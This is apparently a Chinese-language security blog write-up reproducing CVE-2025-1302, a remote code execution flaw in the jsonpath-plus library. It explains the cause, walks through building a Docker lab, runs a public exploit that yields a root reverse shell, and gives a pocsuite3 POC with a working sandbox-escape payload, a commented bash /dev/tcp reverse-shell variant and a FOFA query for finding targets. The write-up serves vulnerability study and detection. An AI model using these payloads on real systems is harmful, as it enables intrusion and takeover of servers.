jsonpath Plus 远程代码执行漏洞 CVE-2025-1302


一、JsonPATH

JSONPath 是一种用于查询和提取JSON数据的轻量级语言,类似于XPath对XML的作用。它通过简洁的路径表达式(如 $.store.book[0].title )定位JSON结构中的特定节点,支持通配符、过滤和递归搜索等操作,常用于API数据处理或日志分析中快速获取目标信息。

JSONPath Plus 是JSONPath的增强实现(如JavaScript库 jsonpath-plus ),在兼容原始语法的基础上扩展了更多功能,包括正则表达式匹配、脚本求值、多路径查询及结果自定义格式化。它解决了原生JSONPath的某些局限性,适用于复杂数据场景,提供更灵活、强大的数据提取能力。主要功能包括:

  • 增强型过滤表达式
  • 多路径查询支持
  • 结果集后处理能力
  • 兼容RFC 9535标准

二、漏洞成因

JSONPath Plus的远程代码执行漏洞(CVE-2025-1302)主要由以下技术缺陷和安全机制失效导致:

2.1 不安全的动态代码执行机制

JSONPath Plus在处理某些复杂表达式时,直接通过JavaScript的 eval 或 Function 构造函数动态执行代码(例如解析过滤表达式),且未对用户输入进行充分验证 。攻击者可构造包含恶意逻辑的JSONPath表达式(如嵌入 require(‘child_process’).exec() 等系统调用),触发任意代码执行。

2.2 沙箱隔离不足

虽然JSONPath Plus默认使用 vm 或 vm2 模块的沙箱环境限制代码执行权限,但配置存在缺陷:

  • 当设置 this.curreval 为 native 时,直接调用原生 vm 模块,未完全隔离全局对象(如 process ),导致攻击者可能逃逸沙箱并访问系统接口 。
  • 即使使用更严格的 vm2 (即安全沙箱模式 safevm ),若未限制内置模块(如 require ),仍可通过恶意表达式加载危险模块(如 child_process 执行系统命令) 。

2.3 代码替换逻辑绕过风险

代码中的字符串替换逻辑(如 code.replaceAll )仅处理部分关键词(如 @parent 、 @root ),但未过滤特殊字符(如反引号、括号)。攻击者可通过嵌套表达式或混淆语法(例如利用未处理的 this 、 function 关键字)绕过替换规则,注入恶意代码。

2.4 默认配置的安全隐患

在受影响版本(<10.3.0)中,默认启用的 eval=’afe’ 模式未严格限制动态执行权限。攻击者可利用该默认配置,通过恶意输入直接触发代码执行,无需依赖特定沙箱逃逸条件 2 。

2.5 原型链污染攻击可能性

漏洞还可能通过原型链污染(如修改 __proto__ 属性)影响其他对象的行为。若攻击者通过JSONPath表达式篡改对象原型,可能导致后续代码逻辑异常或执行非预期操作 。

漏洞的核心在于动态执行逻辑的安全边界缺失,包括沙箱隔离不彻底、输入验证不严格及默认配置风险。建议升级至10.3.0及以上版本,并禁用非必要的动态执行功能。

三、漏洞复现

3.1 环境搭建

  • step1:拉取漏洞环境:
git clone https://github.com/EQSTLab/CVE-2025-1302
cd CVE-2025-1302/
  • step2:构建镜像:
docker build -t jsonpath:10.2.0 .

该命令用于从当前目录的 Dockerfile 构建一个名为 jsonpath 、标签为 10.2.0 的 Docker 镜像。

-t (–tag) :指定镜像名称和标签,格式为 name:tag

大战bug:

报错:

[root@localhost CVE-2025-1302]# docker build -t jsonpath:10.2.0 .
[+] Building 41.0s (2/2) FINISHED                                                                                                        docker:default
 => [internal] load build definition from Dockerfile                                                                                               0.0s
 => => transferring dockerfile: 434B                                                                                                               0.0s
 => ERROR [internal] load metadata for docker.io/library/node:22                                                                                  41.0s
------
 > [internal] load metadata for docker.io/library/node:22:
------
Dockerfile:2
--------------------
   1 |     # Base Image
   2 | >>> FROM node:22
   3 |     
   4 |     # Work Directory
--------------------
ERROR: failed to solve: node:22: failed to resolve source metadata for docker.io/library/node:22: failed to do request: Head "https://docker.zhai.cm/v2/library/node/manifests/22?ns=docker.io": read tcp 192.168.52.3:44956->172.67.155.139:443: read: connection reset by peer
  • docker.zhai.cm单独拉node:22镜像

分析时镜像仓库不可访问的问题,使用之前用过的一个仓库docker.zhai.cm单独拉镜像

docker pull docker.zhai.cm/library/node:22 
[root@localhost CVE-2025-1302]# docker pull docker.zhai.cm/library/node:22 
Error response from daemon: Head "https://docker.zhai.cm/v2/library/node/manifests/22": read tcp 192.168.52.3:44998->172.67.155.139:443: read: connection reset by peer

Ping 和 curl都能执行成功,但是访问 https://docker.zhai.cm/v2/library/node/manifests/22

返回如下内容:

{"errors":[{"code":"UNAUTHORIZED","message":"authentication required","detail":[{"Type":"repository","Class":"","Name":"library/node","Action":"pull"}]}]}
  • 使用m.daocloud.io/docker.io/library/前缀拉镜像

拉取镜像的时候加前缀:

docker pull m.daocloud.io/docker.io/library/node:22

成功拉取到镜像。

  • 重新构建镜像

我已经拉取到node:22的镜像了,但是重新执行docker build -t jsonpath:10.2.0 . 时还是报错:

ERROR: failed to solve: node:22: failed to resolve source metadata for docker.io/library/node:22: failed to do request: Head " https://docker.zhai.cm/v2/library/node/manifests/22?ns=docker.io ": read tcp 192.168.52.3:45124->172.67.155.139:443: read: connection reset by peer
  • 修改/etc/docker/daemon.json配置文件
{
  "registry-mirrors": [
    "https://docker.m.daocloud.io"
  ]
}

重启服务:

systemctl restart docker
  • 重新构建环境

https://github.com/DaoCloud/public-image-mirror 【解决docker pull不下来镜像的问题】

长时间卡在这个位置:

报错:

 > [5/6] RUN apt-get update && apt-get install -y     net-tools     netcat-openbsd:                                                                     
0.654 Get:1 http://deb.debian.org/debian bookworm InRelease [151 kB]                                                                                    
2.662 Get:2 http://deb.debian.org/debian bookworm-updates InRelease [55.4 kB]                                                                           
4.548 Get:3 http://deb.debian.org/debian-security bookworm-security InRelease [48.0 kB]                                                                 
10.79 Get:4 http://deb.debian.org/debian bookworm/main amd64 Packages [8792 kB]                                                                         
89.07 Ign:4 http://deb.debian.org/debian bookworm/main amd64 Packages
90.39 Get:4 http://deb.debian.org/debian bookworm/main amd64 Packages [8792 kB]
189.5 Ign:4 http://deb.debian.org/debian bookworm/main amd64 Packages
191.9 Get:4 http://deb.debian.org/debian bookworm/main amd64 Packages [8792 kB]
666.3 Ign:4 http://deb.debian.org/debian bookworm/main amd64 Packages
671.4 Get:4 http://deb.debian.org/debian bookworm/main amd64 Packages [8792 kB]
1071.5 Ign:4 http://deb.debian.org/debian bookworm/main amd64 Packages
1075.2 Get:4 http://deb.debian.org/debian bookworm/main amd64 Packages [8792 kB]
1641.1 Err:4 http://deb.debian.org/debian bookworm/main amd64 Packages
1641.1   Connection timed out [IP: 146.75.114.132 80]
1656.5 Get:4 http://deb.debian.org/debian bookworm/main amd64 Packages [12.1 MB]
2294.7 Reading package lists...
2295.2 E: Release file for http://deb.debian.org/debian/dists/bookworm-updates/InRelease is not valid yet (invalid for another 5d 15h 56min 41s). Updates for this repository will not be applied.
2295.2 E: Release file for http://deb.debian.org/debian-security/dists/bookworm-security/InRelease is not valid yet (invalid for another 5d 9h 22min 57s). Updates for this repository will not be applied.
------
Dockerfile:12
--------------------
  11 |     # Install net tools
  12 | >>> RUN apt-get update && apt-get install -y \
  13 | >>>     net-tools \
  14 | >>>     netcat-openbsd
  15 |     
--------------------
ERROR: failed to solve: process "/bin/sh -c apt-get update && apt-get install -y     net-tools     netcat-openbsd" did not complete successfully: exit code: 100

更换APT镜像源:

原始的Dockerfile

# Base Image
FROM node:22

# Work Directory
WORKDIR /usr/src/app

# Install essential packages
COPY package*.json ./
RUN npm install

# Install net tools
RUN apt-get update && apt-get install -y \
    net-tools \
    netcat-openbsd

# COPY application code
COPY . .

# Expose 3000 port
EXPOSE 3000

# Execute
CMD ["node", "server.js"]

修改后的Dockerfile:

# Base Image
FROM node:22

# Work Directory
WORKDIR /usr/src/app

# Install essential packages
COPY package*.json ./
RUN npm install

# Install net tools
RUN sed -i 's/deb.debian.org/mirrors.tuna.tsinghua.edu.cn/g' /etc/apt/sources.list && \
    sed -i 's/security.debian.org/mirrors.tuna.tsinghua.edu.cn/g' /etc/apt/sources.list && \ 
    apt-get update && \ 
    apt-get install -y \ 
    net-tools \ 
    netcat-openbsd
    
# COPY application code
COPY . .

# Expose 3000 port
EXPOSE 3000

# Execute
CMD ["node", "server.js"]

还是报错。提示不存在/etc/apt/sources.list的文件。

改成如下内容:

RUN mv /etc/apt/sources.list /etc/apt/sources.list.bak && \
echo 'deb http://mirrors.163.com/debian/ jessie main non-free contrib' > /etc/apt/sources.list && \
echo 'deb http://mirrors.163.com/debian/ jessie-updates main non-free contrib' >> /etc/apt/sources.list && \
echo 'deb http://mirrors.163.com/debian-security/ jessie/updates main non-free contrib' >> /etc/apt/sources.list

新的Dockerfile

# Base Image
FROM node:22

# Work Directory
WORKDIR /usr/src/app

# Install essential packages
COPY package*.json ./
RUN npm install

# Install net tools
RUN mv /etc/apt/sources.list /etc/apt/sources.list.bak && \
		echo 'deb http://mirrors.163.com/debian/ jessie main non-free contrib' > /etc/apt/sources.list && \
		echo 'deb http://mirrors.163.com/debian/ jessie-updates main non-free contrib' >> /etc/apt/sources.list && \
		echo 'deb http://mirrors.163.com/debian-security/ jessie/updates main non-free contrib' >> /etc/apt/sources.list 
    apt-get update && \ 
    apt-get install -y \ 
    net-tools \ 
    netcat-openbsd
    
# COPY application code
COPY . .

# Expose 3000 port
EXPOSE 3000

# Execute
CMD ["node", "server.js"]

报错:

Dockerfile:16
--------------------
  15 |         echo 'deb http://mirrors.163.com/debian-security/ jessie/updates main non-free contrib' >> /etc/apt/sources.list 
  16 | >>>     apt-get update && \ 
  17 | >>>     apt-get install -y \ 
  18 | >>>     net-tools \ 
  19 | >>>     netcat-openbsd
  20 |         
--------------------
ERROR: failed to solve: dockerfile parse error on line 16: unknown instruction: apt-get

原因:apt-get update前面少了一个

但还是报错。还是提示没有/etc/apt/sources.list的文件。

详细了解一下Dockerfile

# Base Image
FROM node:22

# Work Directory
WORKDIR /usr/src/app

# Install essential packages
COPY package*.json ./
RUN npm install

# Install net tools
RUN apt-get update && apt-get install -y \
    net-tools \
    netcat-openbsd

# COPY application code
COPY . .

# Expose 3000 port
EXPOSE 3000

# Execute
CMD ["node", "server.js"]

这个Dockerfile用于构建一个Node.js应用的容器化环境,其核心作用是通过分层构建实现应用依赖管理、环境配置和启动流程标准化。以下是逐层解析:

  • 基础镜像选择:

FROM node:22

作用 :基于官方Node.js 22版本的镜像构建,该镜像预装了Node.js运行环境和npm包管理器。

技术细节 :该镜像默认基于Debian系统(如Bookworm),提供完整的Linux工具链支持。相较于Alpine镜像,Debian基础镜像更适合需要系统工具(如 net-tools )的场景。

  • 工作目录设置

WORKDIR /usr/src/app

作用 :在容器内创建并切换到 /usr/src/app 目录,后续所有命令(如 COPY 、 RUN )均在此目录执行。

优化意义 :避免文件散落在根目录,提升可维护性。若目录不存在,Docker会自动创建。

  • 依赖安装与缓存优化

COPY package*.json ./

RUN npm install

精准复制依赖文件 :仅复制 package.json 和 package-lock.json (或 npm-shrinkwrap.json ),而非整个项目代码。

分层缓存 :利用Docker层缓存机制,仅在依赖文件变化时重新执行 npm install ,显著减少重复构建时间。

  • 网络工具安装

RUN apt-get update && apt-get install -y \

net-tools \

netcat-openbsd

net-tools :提供 ifconfig 、 netstat 等网络诊断工具,便于容器内网络调试 。

netcat-openbsd :支持端口测试和网络通信(如 nc -zv 目标IP 端口 ) 。

  • 应用代码复制

COPY . .

作用 :将宿主机当前目录所有文件(除 .dockerignore 排除项)复制到容器的工作目录。

  • 端口暴露与启动命令
EXPOSE 3000 CMD [ "node" , "server.js" ]
  • 重新分析报错信息

重新执行原始镜像,还是报相同的错误,交给DS分析,它提到一点:

嗯,用户提供的Dockerfile在构建时遇到了错误。错误信息显示在运行apt-get update时出现了问题,特别是关于某些仓库的Release文件还未生效,导致无法更新。看起来这个问题和时间有关,可能是Docker容器内的系统时间与宿主机或实际时间不同步,导致验证仓库元数据时失败。

看一下系统的时间(当前时间:3月27日下午两点):

时间确实不对。

重新测试一下:

docker build -t jsonpath:10.2.0 .

经过大约40分钟(取决于网速),开始安装具体的工具,之后不需要等待多久即可构建成功。

最终构建成功。

  • step3:运行容器
docker run --rm --name jsonpath -p 3000:3000 jsonpath:10.2.0
docker run --name jsonpath -p 3000:3000 jsonpath:10.2.0 #不带--rm参数

命令解释:

--rm 作用 :容器停止后自动删除容器(清理资源)。 适用场景 : 临时测试环境(如调试、CI/CD 流水线)。 避免残留大量已停止的容器占用磁盘空间。 注意事项 : 容器内产生的数据会随容器删除而丢失(需挂载卷持久化数据)。 不适合生产环境 (需保留日志或故障排查时禁用此参数)。
--name jsonpath 作用 :为容器指定自定义名称 jsonpath (默认随机生成名称如 funny_rabbit )。 优势 : 便于通过名称管理容器(如启动、停止、查看日志)。 避免通过冗长的容器 ID 操作。
  • Step4:访问测试

3.2 漏洞利用

  • 新建目录并放置利用脚本

地址:https://github.com/EQSTLab/CVE-2025-1302/

  • 新建python虚拟环境
  • 安装依赖
pip install -r requirements.txt
  • 执行利用命令

攻击端监听:

nc -nvlp 4444
python3 CVE-2025-1302.py -u http://192.168.52.3:3000/query -i 192.168.52.6 -p 4444
  • -u 指定目标url
  • -i 指定反弹shell连接的地址(攻击者的IP)
  • -p 指定反弹shell连接的端口(攻击者的端口)

成功获取到靶机的shell,并且是root权限。

四、pocsuite3 POC编写

4.1 POC代码

#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pocsuite3.lib.core.common import data_to_stdout
from pocsuite3.lib.core.poc import Output, POCBase
from pocsuite3.lib.request import requests
from pocsuite3.lib.core.register import register_poc
from faker import Faker
import time


class TimeBasedPOC(POCBase):
    vulID = 'CVE-2025-1302'
    version = '1.0'
    author = 'sixiaokai'
    vulDate = '2025-03-03'
    createDate = '2025-03-27'
    updateDate = '2025-03-27'
    references = ['https://github.com/EQSTLab/CVE-2025-1302']
    name = 'jsonpath Plus 远程代码执行漏洞CVE-2025-1302'
    appPowerLink = 'https://www.npmjs.com/package/jsonpath-plus'
    appName = 'JSONPath-plus'
    appVersion = 'versions < 10.3.0'
    vulType = "RCE"
    cyberspace = {'fofa':'body="jsonpath-plus" || title="JSONPath query"'}
    samples = ['http://192.168.52.3:3000/query']
    desc = """
     JSONPath Plus在处理某些复杂表达式时,直接通过JavaScript的 eval 或 Function 构造函数动态执行代码
     (例如解析过滤表达式),且未对用户输入进行充分验证 。攻击者可构造包含恶意逻辑的JSONPath表达式
     (如嵌入 require('child_process').exec() 等系统调用),触发任意代码执行。
    """

    def _generate_payload(self, sleep_time):
        # 生成跨平台sleep命令
        return (
            "$..[?(p=\"console.log(this.process.mainModule.require('child_process').execSync("
            f"'sleep {sleep_time} 2>nul || timeout /t {sleep_time} >nul').toString())\";"
            "Ethan=''[['constructor']][['constructor']](p);Ethan())]"
        )
    """
    实际利用的时候可使用下面的payload getshell:
    payload = f"$..[?(p=\"console.log(this.process.mainModule.require('child_process').execSync(
    'bash -c \\\"bash -i >& /dev/tcp/{self.ip}/{self.port} 0>&1\\\"').toString())\";
    Ethan=''[['constructor']][['constructor']](p);Ethan())]"
    """

    def _verify(self):
        result = {}
        fake = Faker()

        # 基准响应时间检测
        baseline_start = time.time()
        try:
            requests.post(
                self.url,
                json={"path": "$.valid.path"},
                headers={'User-Agent': fake.user_agent()},
                verify=False,
                timeout=15
            )
        except:
            pass
        baseline = time.time() - baseline_start

        # 执行延时payload检测
        payload = {
            "path": self._generate_payload(5)
        }
        headers = {
            'User-Agent': fake.user_agent(),
            'Content-Type': 'application/json'
        }

        try:
            start_time = time.time()
            resp = requests.post(
                self.url,
                json=payload,
                headers=headers,
                verify=False,
                timeout=15
            )
            elapsed = time.time() - start_time

            # 时间阈值判断逻辑
            if elapsed > 4.5 and (elapsed - baseline) > 4:  # 允许网络延迟误差
                result['VerifyInfo'] = {
                    'URL': self.url,
                    'BaselineTime': f"{baseline:.2f}s",
                    'ResponseTime': f"{elapsed:.2f}s",
                    'TimeDifference': f"{(elapsed - baseline):.2f}s"
                }

        except requests.exceptions.Timeout:
            result['VerifyInfo'] = {'Result': 'Timeout triggered as expected'}
        except Exception as e:
            data_to_stdout(f"[-] Detection failed: {str(e)}")

        return self.parse_output(result)

    def parse_output(self, result):
        output = Output(self)
        if result:
            output.success(result)
        else:
            output.fail("No time delay detected")
        return output

register_poc(TimeBasedPOC)

4.2 测试验证

参考:


文章作者: 司晓凯
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 司晓凯 !
  目录